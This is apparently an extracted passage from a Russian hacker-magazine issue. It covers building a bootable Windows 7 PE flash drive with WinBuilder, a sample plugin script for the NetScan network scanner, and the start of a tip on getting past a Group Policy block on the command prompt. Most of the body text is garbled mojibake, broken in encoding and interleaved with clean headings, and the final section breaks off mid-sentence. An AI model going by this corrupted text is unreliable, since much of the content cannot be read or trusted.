ËÁË ÆÒÓÝ É ÔÒÓÁÎÏÃÉÓÝ Ã ÒÉÒÓÆÍÔ ÂÆÒÐÌÁÓÎÜÊ É ÌÆÄËÏÃÆÒÎÜÊ. 
7. ³ÆÐÆÑÝ Ï ÓÏÍ, ËÁË ÃÜÄÌàÅÉÓ ÐÆÑÆÎÏÒ ÒÉÒÓÆÍÜ ÎÁ ÕÌÆÙËÔ. ²ÎÁØÁ-
ÌÁ WinBuilder ÈÁÐÔÒËÁÆÓ HP USB Disk Storage Format Tool — ÒÁÍÔß 
ÐÑÁÃÉÌÝÎÔß ÔÓÉÌÉÓÔ ÅÌà ÕÏÑÍÁÓÉÑÏÃÁÎÉà USB-ÎÏÒÉÓÆÌÆÊ. £ÜÂÉÑÁÆÍ 
ÈÅÆÒÝ FAT32 (ÆÒÌÉ ÖÏØÆÙÝ Ã ÂÔÅÔÚÆÍ ÅÏÂÁÃÉÓÝ ÃÏÈÍÏÇÎÏÒÓÝ ÈÁÄÑÔÈËÉ 
Ò ÕÌÆÙËÉ ÅÑÔÄÏÊ ÒÉÒÓÆÍÜ) ÉÌÉ NTFS. µÏÑÍÁÓÉÑÔÆÍ. °ÏÒÌÆ ÞÓÏÄÏ Ã ÉÄÑÔ 
ÃÒÓÔÐÁÆÓ ÔÓÉÌÉÓÁ Grub4Dos, Ô ËÏÓÏÑÏÊ ÃÁÇÎÏÆ ÎÁÈÎÁØÆÎÉÆ — ÔÒÓÁÎÏ-
ÃÉÓÝ ÎÁ ÕÌÆÙËÔ ÈÁÄÑÔÈØÉË. ³ÔÓ ÎÆÏÂÖÏÅÉÍÏ: ÃÏ-ÐÆÑÃÜÖ, ÐÑÁÃÉÌÝÎÏ 
ÃÜÂÑÁÓÝ ÅÉÒË (ÓÁË ËÁË ÂÔËÃÜ ÎÆ ÏÓÏÂÑÁÇÁßÓÒà, ÒÍÏÓÑÉ ÃÎÉÍÁÓÆÌÝÎÏ ÎÁ 
ÑÁÈÍÆÑ), ÃÏ-ÃÓÏÑÜÖ, ÃÜÂÑÁÓÝ Ã ËÁØÆÒÓÃÆ ÈÎÁØÆÎÉà ÐÁÑÁÍÆÓÑÁ «Part List 
— Whole disk (MBR)» É ÏÓÍÆÓÉÓÝ ÄÁÌÏØËÏÊ ÏÐ×Éß Don’t search floppy. 
°ÏÒÌÆ ÞÓÏÄÏ ÏÒÓÁÆÓÒà ÎÁÇÁÓÝ ÎÁ ËÎÏÐËÔ «Install», ÍÏÍÆÎÓÁÌÝÎÏ ÐÏ-
ÌÔØÉÓÝ ÒÏÏÂÚÆÎÉÆ ÏÂ ÔÒÓÁÎÏÃËÆ ÈÁÄÑÔÈØÉËÁ É, ÍÜÒÌÆÎÎÏ ÐÏÂÌÁÄÏÅÁÑÉÃ 
Gbur4Dos, ÈÁËÑÜÓÝ ÆÄÏ ÏËÎÏ. £ÒÆ: ÐÏÒÌÆ ÞÓÏÄÏ WinBuilder ÏÐÆÑÁÓÉÃÎÏ 
ÐÆÑÆÎÆÒÆÓ ÃÒÆ ÕÁÊÌÜ ÎÁ USB-ÎÏÒÉÓÆÌÝ.
®ÁÙÁ ÈÁÄÑÔÈÏØÎÁà ÕÌÆÙËÁ Ò Windows 7 ÄÏÓÏÃÁ.

Заливаем на флешку загрузчик

Создание образа в WinBuilder

Настройка сети

Проверяем сборку под VMware
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³ÔÓ ÔÇÆ ÄÑÆÖ ÈÁÄÑÔÈÉÓÝÒà Ò USB-ÎÏÒÉÓÆÌà, ØÓÏÂÜ ÔÂÆÅÉÓÝÒà, ØÓÏ ÒÉÒÓÆÍÁ 
ÑÁÂÏÓÁÆÓ ÎÆ ÓÏÌÝËÏ Ã ÃÉÑÓÔÁÌÝÎÏÍ, ÎÏ É Ã ÎÁÒÓÏàÚÆÍ, ÒÁÍÏÍ ÏÂÜØÎÏÍ 
ÏËÑÔÇÆÎÉÉ. ®Ï ÖÏØÔ ÒÑÁÈÔ ÐÑÆÅÔÐÑÆÅÉÓÝ: ÞÓÏ ÒÉÌÝÎÏ ÔÑÆÈÁÎÎÁà ÃÁÑÉÁ×Éà 
Windows 7, Ã ËÏÓÏÑÏÊ ÏÒÓÁÃÌÆÎÏ ÍÉÎÉÍÔÍ ËÏÍÐÏÎÆÎÓÏÃ. ®ÉËÁËÉÖ ÓÆÂÆ Aero 
É ËÑÁÒÉÃÜÖ ÞÕÕÆËÓÏÃ: ÃÒÆ ÞÓÏ ÏÓËÌßØÆÎÏ. ¡ ÉÈ ÒÏÕÓÁ ÓÜ ÐÏ ÔÍÏÌØÁÎÉß 
ÐÏÌÔØÁÆÙÝ ÎÆËÏÓÏÑÜÆ ÒÓÁÎÅÁÑÓÎÜÆ ÔÓÉÌÉÓÜ Windows (ÃÑÏÅÆ regedit’Á), 
Á ÓÁËÇÆ ÎÆÒËÏÌÝËÏ ÂÏÎÔÒÎÜÖ ÐÑÏÄÑÁÍÍ ÃÑÏÅÆ PENetwork ÅÌà ÎÁÒÓÑÏÊËÉ 
ÒÆÓÉ (Ã ÓÏÍ ØÉÒÌÆ ÂÆÒÐÑÏÃÏÅÎÏÄÏ ÁÅÁÐÓÆÑÁ) É Opera USB ÅÌà ÂÑÁÔÈÉÎÄÁ. 
£ÒÆ ÞÓÏ ÎÆÐÌÏÖÏ, ÎÏ àÃÎÏ ÎÆÅÏÒÓÁÓÏØÎÏ — ÒÉÒÓÆÍÔ ÎÔÇÎÏ ÒÎÁÑàÅÉÓÝ.

Скрипты (плагины)
¥ÏÐÏÌÎÉÓÆÌÝÎÜÆ ÐÑÏÄÑÁÍÍÜ, ËÏÓÏÑÜÆ ÍÏÇÎÏ ÃËÌßØÉÓÝ Ã ÒÏÒÓÁÃ ÒÃÏÆÊ 
ÒÂÏÑËÉ ÒÉÒÓÆÍÜ, ÑÁÒÐÑÏÒÓÑÁÎàßÓÒà Ã ÃÉÅÆ ÒËÑÉÐÓÏÃ (ÉÌÉ ÐÌÁÄÉÎÏÃ — ÓÁË 
ÉÖ ÓÏÇÆ ÎÁÈÜÃÁßÓ). °ÏÅËÌßØÉÓÝ ÉÖ ÐÑÏÒÓÏ. ¥ÏÒÓÁÓÏØÎÏ ÒËÏÐÉÑÏÃÁÓÝ ÉÖ Ã \
WinBuilder\Projects\Win7PE_SE\Apps É ÐÏÓÏÍ ÁËÓÉÃÉÑÏÃÁÓÝ ØÆÑÆÈ GUI-
ÉÎÓÆÑÕÆÊÒ WinBuider. °ÑÁÃÅÁ, ØÓÏÂÜ ÏÎÉ ÐÏàÃÉÌÉÒÝ Ã ÅÆÑÆÃÆ ÒËÑÉÐÓÏÃ, 
ÐÑÏÄÑÁÍÍÔ ÐÑÉÖÏÅÉÓÒà ÐÆÑÆÈÁÐÔÒËÁÓÝ, ÖÏÓà ÎÆ ÉÒËÌßØÁß, ØÓÏ ÏÂÎÏÃÉÓÝ 
ÒÐÉÒÏË ÐÌÁÄÉÎÏÃ ÍÏÇÎÏ ËÁË-ÓÏ ÐÑÏÚÆ. £ ÎÆËÏÓÏÑÜÖ ÒÌÔØÁàÖ ÐÌÁÄÉÎ ÑÁÒ-
ÐÑÏÒÓÑÁÎàÆÓÒà Ã ÃÉÅÆ ÆÅÉÎÒÓÃÆÎÎÏÄÏ ÕÁÊÌÁ — Ò×ÆÎÁÑÉà. ³ÔÓ ÆÒÓÝ ÅÃÁ 
ÃÁÑÉÁÎÓÁ. ±ÁÈÑÁÂÏÓØÉË ÍÏÄ ÃËÌßØÉÓÝ ÎÆÏÂÖÏÅÉÍÜÆ ÕÁÊÌÜ ÐÑàÍÏ Ã ÞÓÏÓ 
ÕÁÊÌ, ÈÁËÏÅÉÑÏÃÁÃ ÉÖ Ã base64. ©ÌÉ ÇÆ Ã ÒÏÒÓÁÃÆ ÒËÑÉÐÓÁ ÎÉËÁËÉÆ ÕÁÊÌÜ 
ÎÆ ÃËÌßØÆÎÜ, É ÉÖ ÎÔÇÎÏ ÒËÏÐÉÑÏÃÁÓÝ Ã ÐÁÐËÔ ÒÏ Ò×ÆÎÁÑÉÆÍ ÒÁÍÏÍÔ (ÞÓÏ 
ÅÏÌÇÎÏ ÂÜÓÝ ÐÏÅÑÏÂÎÏ ÏÐÉÒÁÎÏ Ã ÍÁÎÔÁÌÆ ÐÌÁÄÉÎÁ). °ÏÒÌÆÅÎÆÆ ÏÒÏÂÆÎÎÏ 
ËÁÒÁÆÓÒà ËÏÍÍÆÑØÆÒËÏÄÏ ÒÏÕÓÁ (ÓÏÄÏ ÇÆ ÒÁÍÏÄÏ Total Commander’Á), ÕÁÊÌÜ 
ËÏÓÏÑÏÄÏ ÑÁÈÑÁÂÏÓØÉËÉ ÐÌÁÄÉÎÏÃ ÐÑÏÒÓÏ ÎÆ ÉÍÆßÓ ÐÑÁÃÁ ÑÁÒÐÑÏÒÓÑÁÎàÓÝ. 
³ÆÐÆÑÝ ÏÓÃÆØÁß ÎÁ ÎÁÃÆÑÎàËÁ ÃÏÈÎÉËÙÉÊ Ô ÓÆÂà ÃÏÐÑÏÒ: «¡ ÄÅÆ ÃÈàÓÝ 
ÞÓÉ ÐÌÁÄÉÎÜ?». ¦ÒÓÝ ÍÎÏÇÆÒÓÃÏ ÉÒÓÏØÎÉËÏÃ — ÎÁÐÑÉÍÆÑ, ÏÓÒßÅÁ:
• ÕÏÑÔÍ Reboot.pro’s App Scripts (reboot.pro/forum/65);
• ËÏÌÌÆË×Éà ÒËÑÉÐÓÏÃ Al Jo’s (al-jo.99k.org).
« ÐÑÉÍÆÑÔ, ÍÏÇÎÏ ÒËÁØÁÓÝ ÐÌÁÄÉÎ Wireshark É ÎÆÏÂÖÏÅÉÍÜÊ ÅÌà ÆÄÏ 
ÑÁÂÏÓÜ Winpcap (ÅÏÒÓÔÐÎÜ ÏÓÒßÅÁ: reboot.pro/14842). °ÆÑÆÍÆÚÁÆÍ ÆÄÏ 
Ã ËÁÓÁÌÏÄ Apps/Network, ÁËÓÉÃÉÑÔÆÍ ØÆÑÆÈ ÅÆÑÆÃÏ — É Ô ÎÁÒ ÐÏÌÔØÁÆÓÒà 
ÒÂÏÑËÁ Ò ÐÏÌÎÏ×ÆÎÎÜÍ ÒÎÉÕÕÆÑÏÍ. ²ÒÜÌËÉ ÎÁ ÎÆËÏÓÏÑÜÆ ÐÏÌÆÈÎÜÆ 
ÐÌÁÄÉÎÜ à ÐÑÉÃÆÌ Ã ÂÏËÏÃÏÍ ÃÜÎÏÒÆ.
®ÆÒÍÏÓÑà ÎÁ ÓÏ, ØÓÏ ÄÏÓÏÃÜÖ ÐÌÁÄÉÎÏÃ ÅÏÃÏÌÝÎÏ ÍÎÏÄÏ, ÐÏÌÆÈÎÏ ÔÍÆÓÝ 
ÒÁÍÏÍÔ ÎÁÐÉÒÁÓÝ ÒËÑÉÐÓ ÅÌà ÅÏÂÁÃÌÆÎÉà ÎÔÇÎÜÖ ÐÑÏÄÑÁÍÍ Ã ÒÉÒÓÆ-
ÍÔ. «ÏÄÅÁ ÅÏÂÁÃÌàÆÙÝ ÎÏÃÜÊ ÒËÑÉÐÓ ØÆÑÆÈ «Tools Æ Create script...», 
WinBuilder ÐÑÆÅÌÁÄÁÆÓ ÐÑÏÒÓÏÊ ÙÁÂÌÏÎ ÒËÑÉÐÓÁ. ¥Ìà ÐÑÉÍÆÑÁ à ÐÑÉÃÆ-
ÅÔ ÐÑÏÒÓÆÎÝËÉÊ Ò×ÆÎÁÑÉÊ, ËÏÓÏÑÜÊ ÔÒÓÁÎÁÃÌÉÃÁÆÓ Softperfect Netscan 

(www.softperfect.com/products/networkscanner), É ÐÏàÒÎß ÌÏÄÉËÔ Ò 
ÐÏÍÏÚÝß ËÏÍÍÆÎÓÁÑÉÆÃ:

//ǱșȞȪȜȳ ȥ ȜȡȨȢȤȠȔȪȜșȝ Ȣ ȘȢȕȔȖȟȳșȠȢȠ ȣȤȜȟȢȚșȡȜȜ
[main] 
Title=NetScan 
Description=Netscan from Softperfect 
Selected=True 
Level=5 
Version=1 
NoWarning=False 
Download_Level=0

//ǢȔȚȡȯș ȣșȤșȠșȡȡȯș, ȖȞȟȲȫȔȳ ȣȧȦȰ ȘȢ ȜȥȣȢȟȡȳșȠȢȗȢ ȨȔȝȟȔ
[variables] 
%ProgramTitle%=Netscan 
%ProgramEXE%=netscan.exe 
%ProgramFolder%=netscan

// ǪȢȠȔȡȘȯ Șȟȳ ȧȥȦȔȡȢȖȞȜ ȣȤȜȟȢȚșȡȜȳ
[process] 
// ǪȢȣȜȤȧșȠ ȡȧȚȡȯș ȨȔȝȟȯ Ȝț ȣȢȘȘȜȤșȞȦȢȤȜȜ netscan Ȗ ȣȔȣȞș, ȗȘș
ȡȔȩȢȘȜȦȥȳ ȥȞȤȜȣȦ (ȥȲȘȔ ȡȧȚȡȢ ȣȤșȘȖȔȤȜȦșȟȰȡȢ ȣșȤșȡșȥȦȜ 
ȡșȢȕȩȢȘȜȠȢș Șȟȳ ȤȔȕȢȦȯ ȣȤȢȗȤȔȠȠȯ)
CopyProgram,%ScriptDir%\%ProgramFolder% 
//ǤȢȕȔȖȟȳșȠ ȳȤȟȯȞȜ
Add_Shortcut,StartMenu,Netscan 
Add_Shortcut,Desktop,Netscan
//ǳȞȔțȯȖȔșȠ DLL’ȞȜ, ȞȢȦȢȤȯș ȡșȢȕȩȢȘȜȠȯ Șȟȳ ȤȔȕȢȦȯ ȣȤȢȗȤȔȠȠȯ.
WinBuilder ȖȞȟȲȫȜȦ Ȝȩ Ȗ ȥȕȢȤȞȧ
Require_FileQ,mgmtapi.dll 
Require_FileQ,msvcrt.dll 
Require_FileQ,KERNEL32.dll 
Require_FileQ,snmpapi.dll 
Require_FileQ,USER32.dll 
Require_FileQ,WS2_32.dll 
Require_FileQ,wsnmp32.dll

¯ÄÑÏÍÎÏÆ ËÏÌÉØÆÒÓÃÏ ÒËÑÉÐÓÏÃ ÅÏÒÓÔÐÎÏ ÎÁ ÕÏÑÔÍÆ reboot.pro, ÉÖ 
ÍÏÇÎÏ ÐÏÒÍÏÓÑÆÓÝ ËÁË ÐÑÉÍÆÑÜ É ÉÒÐÏÌÝÈÏÃÁÓÝ Ã ËÁØÆÒÓÃÆ ÏÒÎÏÃÜ. 
£ ÌßÂÏÍ ÒÌÔØÁÆ, ÎÉØÆÄÏ ÒÌÏÇÎÏÄÏ Ã ÒÏÈÅÁÎÉÉ ÒÃÏÉÖ Ò×ÆÎÁÑÉÆÃ ÎÆÓ. 
¦ÒÌÉ ÆÒÓÝ ÎÆÏÂÖÏÅÉÍÏÒÓÝ ÐÑÏÒÓÏ ÅÏÂÁÃÉÓÝ ËÁËÉÆ-ÓÏ ÕÁÊÌÜ Ã ÒÂÏÑËÔ, ÓÏ 
ÎÆÏÂàÈÁÓÆÌÝÎÏ ÅÌà ÞÓÏÄÏ ÒÏÈÅÁÃÁÓÝ ÐÌÁÄÉÎ. £ ÞÓÏÊ ÒÉÓÔÁ×ÉÉ ÐÏÍÏÇÆÓ 
ÑÁÈÅÆÌ «Components Æ Additional Files», ËÏÓÏÑÜÊ ÎÆÏÂÖÏÅÉÍ ËÁË ÑÁÈ 
ÅÌà ÓÁËÏÊ ÒÉÓÔÁ×ÉÉ. ¦ÒÌÉ ÎÁÇÁÓÝ ÎÁ ËÎÏÐËÔ «Directory Example», ÓÏ ÓÜ 
ÔÃÉÅÉÙÝ ÒÓÑÔËÓÔÑÔ ÐÁÐÏË, ÉÒÐÏÌÝÈÔÆÍÜÖ Ã ÒÂÏÑËÆ, ØÓÏÂÜ ÐÏÎÉÍÁÓÝ, 
ËÔÅÁ ÉÍÆÎÎÏ ÂÔÅÔÓ ÅÏÂÁÃÌàÓÝÒà ÕÁÊÌÜ.

Что у нас получилось?
®ÁÒËÏÌÝËÏ ÖÏÑÏÙÏ ÑÁÂÏÓÁÆÓ ÓÁËÁà ÒÉÒÓÆÍÁ? ̄ ØÆÎÝ ÖÏÑÏÙÏ! °ÑÉ ÈÁÄÑÔÈËÆ 
ÎÁ ÍÏÆÍ ÎÏÔÓÂÔËÆ, ÒÑÁÈÔ ×ÆÐÌàßÓÒà ÎÆÏÂÖÏÅÉÍÜÆ ÅÑÁÊÃÆÑÁ, Ã ÓÏÍ ØÉÒÌÆ 
ÅÌà ÂÆÒÐÑÏÃÏÅÎÏÄÏ ÍÏÅÔÌà. ³ÁËÉÍ ÏÂÑÁÈÏÍ, Ô ÍÆÎà ÒÑÁÈÔ ÆÒÓÝ ÃÜÖÏÅ Ã 
²ÆÓÝ. £ÒÆ ÐÑÏÄÑÁÍÍÜ, ÆÒÌÉ ÉÖ ÐÑÁÃÉÌÝÎÏ ÉÎÓÆÄÑÉÑÏÃÁÓÝ (ÓÏ ÆÒÓÝ, ÃÜ-
ÐÏÌÎàà ÃÒÆ ÉÖ ÈÁÃÉÒÉÍÏÒÓÉ), ÎÁ ÔÑÁ ÈÁÐÔÒËÁßÓÒà É ÑÁÂÏÓÁßÓ. ¡ ÞÓÏ É ÒÏÕÓ 
ÅÌà ÃÏÒÒÓÁÎÏÃÌÆÎÉà ÒÉÒÓÆÍÜ, ÑÁÂÏÓÜ Ò ÓÁÂÌÉ×ÁÍÉ ÑÁÈÅÆÌÏÃ, ÂÞËÁÐÁ, 
ÑÆÅÁËÓÉÑÏÃÁÎÉà ÑÆÆÒÓÑÁ, Á ÓÁËÇÆ ÖÁË-ÓÔÌÈÜ. £ ËÏÎ×Æ ËÏÎ×ÏÃ, ØÓÏ ÍÏÇÆÓ 
ÂÜÓÝ ÔÅÏÂÎÆÆ Ã ËÁØÆÒÓÃÆ ÃÒÐÏÍÏÄÁÓÆÌÝÎÏÊ ÒÉÒÓÆÍÜ, ËÏÓÏÑÔß ÍÏÇÎÏ 
ÃÒÆÄÅÁ ÂÑÁÓÝ Ò ÒÏÂÏÊ É Ã ÒÌÔØÁÆ ÎÆÏÂÖÏÅÉÍÏÒÓÉ Ò ÎÆÆ ÈÁÄÑÔÇÁÓÝÒà?    z

Устраняем ошибки

1. «ÁË à ÔÇÆ ÔÐÏÍàÎÔÌ, Ã ËÁØÆÒÓÃÆ ÉÒÖÏÅÎÏÄÏ ÅÉÒÓÑÉÂÔÓÉÃÁ ÌÔØÙÆ 
ÃÈàÓÝ ÏÂÑÁÈ Windows 7 Ò ÔÇÆ ÃËÌßØÆÎÎÜÍ ÐÁËÆÓÏÍ ÏÂÎÏÃÌÆÎÉà 
(SP1). ² ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÅÉÒÓÑÉÂÔÓÉÃÁ, Ã ËÏÓÏÑÏÍ ÒÆÑÃÉÒÐÁËÁ ÆÚÆ 
ÎÆÓ, ÃÏÈÎÉËÌÉ ÐÑÏÂÌÆÍÜ Ò ÎÁÖÏÇÅÆÎÉÆÍ ÎÆËÏÓÏÑÜÖ ÂÉÂÌÉÏÓÆË. ¶ÏÓà, 
ÏÄÏÃÏÑßÒÝ, ÞÓÏ ÎÆËÑÉÓÉØÎÏ, ÐÏÓÏÍÔ ØÓÏ WinBuilder ÃÜÅÁÆÓ ËÏÎËÑÆÓ-
ÎÜÆ ÒÐÏÒÏÂÜ ÑÆÙÆÎÉÊ ÐÑÏÂÌÆÍÜ.
2. £ ÒÌÔØÁÆ ËÁËÉÖ-ÓÏ ÐÑÏÂÌÆÍ ÒËÑÉÐÓÜ, ËÁË ÐÑÁÃÉÌÏ, ÃÜÅÁßÓ 
ÏÙÉÂËÉ. ¦ÒÌÉ ÇÆ ØÓÏ-ÓÏ ÐÏÙÌÏ ÎÆ ÓÁË, ÎÏ Ã ØÆÍ ÉÍÆÎÎÏ ÐÑÏÂÌÆÍÁ 
ÎÆÐÏÎàÓÎÏ, ÐÏÍÏÄÔÓ ÌÏÄÉ. ̄ Ð×Éà ÁËÓÉÃÉÑÔÆÓÒà Ã Ò×ÆÎÁÑÉÉ «Finalize 

Æ Save log file» É ÃËÌßØÆÎÁ ÐÏ ÔÍÏÌØÁÎÉß. ¬ÏÄÉ WinBuilder ÐÉÙÆÓ 
ÏØÆÎÝ ÐÏÅÑÏÂÎÏ: ÍÏÇÎÏ ÐÏÌÎÏÒÓÝß ÉÈÔØÉÓÝ ÐÑÏ×ÆÒÒ ÒÏÈÅÁÎÉà ÒÂÏÑ-
ËÉ, ÐÑÏÒÌÆÅÉÓÝ ÌÏÄÉËÔ ÃÜÐÏÌÎÆÎÉà ÒËÑÉÐÓÏÃ É Ã ÒÌÔØÁÆ ËÁËÏÊ-ÓÏ 
ÐÑÏÂÌÆÍÜ ÐÏÐÜÓÁÓÝÒà ÔÒÓÑÁÎÉÓÝ ÏÙÉÂËÉ.
3. ̄ Ð×ÉÏÎÁÌÝÎÜÍ, ÎÏ ÏØÆÎÝ ÐÏÌÆÈÎÜÍ ÐÑÏÆËÓÏÍ àÃÌàÆÓÒà www.
paraglidernc.com/WinBuilder (ÑÆËÏÍÆÎÅÔß ÆÄÏ ÒÑÁÈÔ ÃÜÂÑÁÓÝ ÅÌà 
ÈÁÄÑÔÈËÉ ÃÏ ÃÑÆÍà ÐÆÑÃÏÄÏ ÈÁÐÔÒËÁ WinBuilder). ̄ Î ÃËÌßØÁÆÓ Ã ÒÆÂà 
ÐÏÅÑÏÂÎÆÊÙÔß ÉÎÒÓÑÔË×Éß ÐÏ ÒÏÈÅÁÎÉß Ò×ÆÎÁÑÉÆÃ. °ÏÒÌÆ ÔÒÓÁ-
ÎÏÃËÉ ÉÚÉ ÆÄÏ Ã ÐÁÐËÆ Projects\Paraglider\WinBuilder.chm. 
4. ²ÁÍÜÊ ÐÑÏÒÓÏÊ ÒÐÏÒÏÂ ÃËÌßØÉÓÝ Ã ÒÂÏÑËÔ ÐÑÉÌÏÇÆÎÉÆ — ÞÓÏ 
ÎÁÊÓÉ ÆÆ Portable-ÃÆÑÒÉß (ÎÁÐÑÉÍÆÑ, ÎÁ ÒÁÊÓÆ portableapps.
com), ËÏÓÏÑÁà ÔÇÆ ÃËÌßØÁÆÓ Ã ÒÆÂà ÃÒÆ ÎÆÏÂÖÏÅÉÍÜÆ ÕÁÊÌÜ ÅÌà 
ÑÁÂÏÓÜ Ã «ØÔÇÏÊ» ÒÉÒÓÆÍÆ.

Несколько советов
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Хакерские
секреты 
простых 
вещей 

РЕШЕНИЕ:
¨ÎÁÎÉà— ÒÉÌÁ, Ò ÞÓÉÍ ÓÑÔÅÎÏ ÐÏÒÐÏÑÉÓÝ. ̈ ÎÁÎÉà ÃÏ ÍÎÏÄÏÍ ÏÒÎÏÃÜ-
ÃÁßÓÒà ÎÁ ÃÐÉÓÜÃÁÆÍÏÊ ÎÁÍÉ ÉÎÕÏÑÍÁ×ÉÉ. °ÏÒÌÆÅÎàà ÅÏÌÇÎÁ ÂÜÓÝ 
ÁËÓÔÁÌÝÎÏÊ É ÅÏÒÓÏÃÆÑÎÏÊ. ¤ÅÆ ÇÆ ÃÈàÓÝ ÓÁËÔß? ²ÆÊØÁÒ ÏØÆÎÝ ÍÎÏÄÏÆ 
ÍÏÇÎÏ ÐÏØÆÑÐÎÔÓÝ Ò ÒÁÊÓÏÃ ÃÒÆÃÏÈÍÏÇÎÜÖ ÒÆËÝßÑÉÓÉ ËÏÍÐÁÎÉÊ É Ò 
ÂÌÏÄÏÃ ÑÁÈÌÉØÎÜÖ ÒÐÆ×ÏÃ. ®Ï ÉÖ ËÏÌÉØÆÒÓÃÏ ÏØÆÎÝ ÃÆÌÉËÏ, ÏÒÏÂÆÎÎÏ 
ÆÒÌÉ ÓÆÂà ÉÎÓÆÑÆÒÔßÓ ËÁËÉÆ-ÓÏ ËÏÎËÑÆÓÎÜÆ ÎÁÐÑÁÃÌÆÎÉà, ÎÆ ÄÏÃÏÑà ÔÇÆ, 
ØÓÏ ÑÆÒÔÑÒÜ ÒÉÌÝÎÏ ÑÁÈÎàÓÒà ÐÏ ËÁØÆÒÓÃÔ. £ ÏÂÚÆÍ, ÐÑÉÍÆÑÎÏ ÎÁ ÓÁËÏÊ 
ÍÜÒÌÉ ÂÜÌ ÏÑÄÁÎÉÈÏÃÁÎ ÐÑÏÆËÓ ÐÏ ÏÂÍÆÎÔ ÂÔËÍÁÑÁÍÉ— bit.ly/hPFQ4i.
®Á ÎÆÍ ÒÆÊØÁÒ ÐÑÆÅÒÓÁÃÌÆÎÏ ÂÏÌÝÙÏÆ ËÏÌÉØÆÒÓÃÏ ÈÁËÌÁÅÏË ÎÁ ÒÁÍÜÆ 
ÑÁÈÌÉØÎÜÆ ÓÆÍÜ, ÍÏÇÎÏ ÅÏÂÁÃÌàÓÝ É ÒÃÏÉ. ̧ ÓÏ ÐÑÉàÓÎÏ— ÍÏÎÉÓÏÑàÓ 
ÅÁÎÎÜÊ ÐÑÏÆËÓ ÖÏÑÏÙÉÆ ÒÆËÝßÑÉÓÉ-ÒÐÆ×ÉÁÌÉÒÓÜ ÉÈ ÉÈÃÆÒÓÎÜÖ ËÏÍÐÁ-
ÎÉÊ, ÓÁË ØÓÏ ÈÁ ËÁØÆÒÓÃÏ ÍÏÇÎÏ ÎÆ ÂÆÒÐÏËÏÉÓÝÒà.
«ÑÏÍÆ ÓÏÄÏ, ÓÁË ËÁË ÅÁÎÎÜÊ ÃÜÐÔÒË ÑÔÂÑÉËÉ ÐÏÌÔØÉÌÒà ÃÏ ÍÎÏÄÏÍ 
web-ÏÑÉÆÎÓÉÑÏÃÁÎÎÜÍ, ÐÑÆÅÌÁÄÁß ÆÚÆ ÏÅÉÎ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÌÉÎË. 
Jeremiah Grossman— ÙÉÑÏËÏ ÉÈÃÆÒÓÎÁà Ã ÔÈËÉÖ  ËÑÔÄÁÖ ÌÉØÎÏÒÓÝ. © ÏÎ 
ËÁÇÅÜÊ ÄÏÅ (ÎÁ ÐÑÏÓàÇÆÎÉÉ ÐÏÒÌÆÅÎÉÖ ÐàÓÉ ÌÆÓ) ÐÑÏÃÏÅÉÓ ËÏÎËÔÑÒ «Top 
Ten Web Hacking Techniques» (bit.ly/gmlXLZ). °ÏÒÌÆÅÎÉÆ ÐÑÉÈÜ: ÐÑÏÖÏÅ-
ËÁ ÎÁ ËÏÎÕÔ OWASP’Á BlackHat USA É ÐÔØÏË ËÎÉÄ.
¨ÅÆÒÝ ÃÁÇÎÏ ÏÓÍÆÓÉÓÝ, ØÓÏ Ã ÒÐÉÒÏË Ã ÏÒÎÏÃÎÏÍ ÐÏÐÁÅÁßÓ ÎÆ ËÏÎËÑÆÓÎÜÆ 
ÂÁÄÉ ËÁËÉÖ-ÓÏ ÐÑÏÅÔËÓÏÃ, Á ÉÍÆÎÎÏ ÎÏÃÜÆ ÓÆÖÎÉËÉ É ÃÆËÓÏÑÜ, ØÓÏ ÂÏÌÆÆ 
ÉÎÓÆÑÆÒÎÏ. ®Ï ÅÌà ÎÁÒ ÄÌÁÃÎÏÆ ÓÏ, ØÓÏ ÍÜ ÍÏÇÆÍ ÐÏØÆÑÐÎÔÓÝ ÏÓÓÔÅÁ ×Æ-
ÌÜÊ ÍÆÙÏË ÃÒÆÄÏ ÉÎÓÆÑÆÒÎÏÄÏ. ÎÏÄÏÆ ÉÈ ÏÐÉÒÁÎÎÏÄÏ Ã ÑÔÂÑÉËÆ ËÁË ÑÁÈ 
ÂÜÌÏ ÐÏØÆÑÐÎÔÓÏ ÉÈ ÞÓÏÄÏ ÒÐÉÒËÁ.

РЕШЕНИЕ:
£ÆÑÎÆÍÒà Ë ÏÂÒÔÇÅÆÎÉß ÓÆÍÜ ÏÂÖÏÅÁ ÄÑÔÐÐÏÃÜÖ ÐÏÌÉÓÉË ÃÉÎÅÜ, 
ÎÁØÁÓÏÊ Ã ÐÑÏÙÌÜÖ ÎÏÍÆÑÁÖ. ®ÁÐÏÍÎß: ÄÑÔÐÐÏÃÜÆ ÐÏÌÉÓÉËÉ— ÞÓÏ, 
ÐÏ ÒÔÓÉ, ÎÁÂÏÑ ÅÏÐÏÌÎÉÓÆÌÝÎÜÖ ÏÄÑÁÎÉØÆÎÉÊ (ÐÏÍÉÍÏ ÏÄÑÁÎÉ-
ØÆÎÉÊ ÐÑÁÃ ÅÏÒÓÔÐÁ Ë ÏÂÛÆËÓÁÍ ̄ ²) ÅÌà ÏÂÜØÎÜÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ, 
ÃÜÒÓÁÃÌàÆÍÜÖ ÁÅÍÉÎÏÍ.
²ÆÄÏÅÎà ÍÜ ËÏÒÎÆÍÒà ÐÏÌÉÓÉËÉ— ÈÁÐÑÆÓ ÅÏÒÓÔÐÁ ÐÏÌÝÈÏÃÁÓÆÌÆÊ 
Ë ËÏÍÁÎÅÎÏÊ ÒÓÑÏËÆ. ®Á ÐÑÁËÓÉËÆ à ÆÆ ÎÆ ÃÒÓÑÆØÁÌ, ÎÏ ÃÏÓ ÒÐÏÒÏÂ 
ÏÂÖÏÅÁ ÓÁËÏÊ ÈÁÂÁÃÎÜÊ, ØÓÏ à ÎÆ ÍÏÄ ÎÆ ÎÁÐÉÒÁÓÝ :). ÁÓÆÑÉÁÌ ÂÜÌ 
ÃÈàÓ Ò www.securityaegis.com. ©ÓÁË, ÅÁÃÁÊ ÐÏÒÍÏÓÑÉÍ, ØÓÏ ÞÓÏ ÈÁ 
ÐÏÌÉÓÉËÁ:

1) Start Æ Run Æ gpedit.msc;
2) User Confi guration Æ Administrative Templates;
3 )System Æ Prevent access to the command prompt.

²ÔÓÝ ÆÆ Ã ÓÏÍ, ØÓÏ ÐÏÌÝÈÏÃÁÓÆÌÝ ÎÆ ÍÏÇÆÓ ÈÁÐÔÒËÁÓÝ cmd.exe É bat-/

